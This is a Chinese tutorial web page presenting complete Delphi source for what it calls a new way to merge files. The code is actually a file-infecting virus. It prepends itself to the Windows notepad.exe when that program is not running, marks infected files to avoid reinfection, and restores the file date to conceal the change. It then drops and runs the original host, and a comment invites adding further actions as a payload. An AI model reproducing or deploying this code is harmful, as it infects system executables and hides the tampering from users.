转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 软件开发 >> Delphi程序 >> 正文
文件合并新思路(附完整DELPHI代码)         ★★★★

文件合并新思路(附完整DELPHI代码)

作者:闵涛 文章来源:闵涛的学习笔记 点击数:681 更新时间:2009/4/23 18:43:18

               文件合并新思路
           (襄樊 官本和 2001.9.28)

program exe2;

uses
  classes,
  Tlhelp32,
  windows,
  SysUtils;

{$R *.RES}
var
  lppe:TProcessEntry32;
  found:boolean;
  handle:THandle;
  ProcessStr,ExeName:string;
  WinDir:pchar;
const
  MySize=64000; {根据编译或压缩后的文件大小进行修改}

procedure copy2(s:string);
var
  s1,s2:TMemoryStream;
  files2:TFilestream;
  ch:array[0..3] of char;
  ss:string;
  filetime,fhandle:integer;
begin
  {若文件s不存在}
  if FileExists(s)=False then exit;
  try
    {判断文件s中有没有特殊标记。若有,表示已经合并过
     在本程序编译或压缩后,用十六进制软件进行修改,在偏移200处加入标记''''IMOK''''
     用debug也可进行修改(对exe文件,要先更改EXE扩展名)。例:
     -e 1C8
     127D:01C8 00._ <-键入新的十六进制值
     ......
     -w <-保存文件}
    files2:=TFilestream.Create(s,fmopenread);
    files2.Position:=200;
    files2.Read(ch,4);
    ss:=copy(ch,1,4);
    files2.Free;
    if ss=''''IMOK'''' then exit;
    {将本文件与文件s合并 本文件+s=s}
    s2:=TMemoryStream.Create;
    s2.loadfromfile(ExeName);
    s1:=TMemoryStream.Create;
    s1.copyfrom(s2,MySize);
    s2.clear;
    s2.loadfromfile(s);
    s1.seek(s1.size,soFromBeginning);
    s1.copyfrom(s2,s2.size);
    s2.free;
    {得到文件s的日期}
    fhandle:=FileOpen(s, fmOpenread);
    filetime:=filegetdate(fhandle);
    fileclose(fhandle);
    s1.SaveToFile(s);
    {恢复文件s的日期}
    fhandle:=FileOpen(s, fmOpenwrite);
    filesetdate(fhandle,filetime);
    fileclose(fhandle);
    s1.free;
  except end;
end;

procedure CreateFileAndRun;
var
  s1,s2:TMemoryStream;
  TempDir:pchar;
  cmdstr:string;
  a:integer;
Begin
  s1:=TMemoryStream.Create;
  s1.loadfromfile(ExeName);
  if s1.Size=MySize then
  begin
    s1.Free;
    exit;
  end;
  s1.seek(MySize,soFromBeginning);
  s2:=TMemoryStream.Create;
  s2.copyfrom(s1,s1.Size-MySize);
  GetMem(TempDir,255);
  GetTempPath(255,TempDir);
  s2.SaveToFile(TempDir+''''\''''+ExtractFileName(ExeName));
  cmdstr:='''''''';
  a:=1;
  while ParamStr(a)<>'''''''' do begin
    cmdstr:=cmdstr+ParamStr(a)+'''' '''';
    inc(a);
  end;
  winexec(pchar(TempDir+''''\''''+ExtractFileName(ExeName)+'''' ''''+cmdstr),SW_SHOW);
  freemem(TempDir);
  s2.free;
  s1.free;
end;

begin
  GetMem(WinDir,255);
  GetWindowsDirectory(WinDir,255);
  ExeName:=ParamStr(0);
  handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
  found:=Process32First(handle,lppe);
  ProcessStr:='''''''';
  while found do
  begin
    ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程}
    found:=Process32Next(handle,lppe);
  end;
  if pos(WinDir+''''\notepad.exe'''',ProcessStr)=0 then
  begin
    copy2(WinDir+''''\notepad.exe'''');
  end;
  {其它需要合并的文件
  if pos(...,ProcessStr)=0 then
  begin
    copy2(...);
  end;
  ...
  }
  freemem(WinDir);
  {
  你想用这个程序干点其它的什么...
  }
  CreateFileAndRun;{释放文件并带参数运行}
end.

{
E-mail: guanbenhe@peoplemail.com.cn
        delphi21cn@sohu.com
homepage: http://guanbh.top263.net
}

 


[C语言系列]C# DataSet String Byte[] 压缩 解压缩 代码 实例  [C语言系列]c#获取真实IP和代理IP代码
[C语言系列]c# 判断网络是否连接代码  [C语言系列]c#模拟鼠标键盘操作代码详解
[网页制作]js图片无缝滚动代码集锦  [Web开发]一段ASP防采集的代码,让小偷程序无处可采
[Web开发]supersite7.5首页模板代码收藏  [互联动态]网页防复制代码
[Web开发]浮动窗口代码,飘浮窗口代码  [网页制作]网页自动跳转代码大集合[站长常用代码集合]
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · C语言系列  · VB.NET程序
    · JAVA开发  · Delphi程序
    · 脚本语言
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台